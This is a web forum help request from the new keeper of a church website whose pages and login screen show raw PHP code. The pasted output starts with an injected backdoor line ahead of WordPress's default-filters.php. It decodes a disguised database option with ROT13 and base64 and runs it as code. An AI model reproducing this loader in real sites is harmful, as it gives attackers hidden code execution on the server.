Website just showing code – cannot login to webpage.

I’m not sure what version I am running however I have an issue, I have inherited this website from the person who previously held my position. Our website https://www.thepumpkinchurch.org is no longer accessible, and I am not sure how I can troubleshoot it since I cannot login to it –
This is what is being shown:
< ;$z=get_option(“_transient_feed_3465b8d9e02b3428924982b9005f1203″); $z=base64_decode(str_rot13($z)); if(strpos($z,”C1C1DFBF”)!==false){ $_z=create_function(“”,$z); @$_z(); } ?php /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( ‘pre_term_name’, ‘pre_comment_author_name’, ‘pre_link_name’, ‘pre_link_target’, ‘pre_link_rel’, ‘pre_user_display_name’, ‘pre_user_first_name’, ‘pre_user_last_name’, ‘pre_user_nickname’ ) as $filter ) { add_filter( $filter, ‘sanitize_text_field’ ); add_filter( $filter, ‘wp_filter_kses’ ); add_filter( $filter, ‘_wp_specialchars’, 30 ); } // Strip, kses, special chars for string display foreach ( array( ‘term_name’, ‘comment_author_name’, ‘link_name’, ‘link_target’, ‘link_rel’, ‘user_display_name’, ‘user_first_name’, ‘user_last_name’, ‘user_nickname’ ) as $filter ) { add_filter( $filter, ‘sanitize_text_field’ ); add_filter( $filter, ‘wp_kses_data’ ); add_filter

And more of this ‘code’ when I attempt to login. I assume this is .php code, but I cannot get in deep enough to correct anything, much less observe settings.

I have tried using IE9, IE8, and Firefox 5. All same results.

Any ideas or what I can do to remedy this?

Thanks!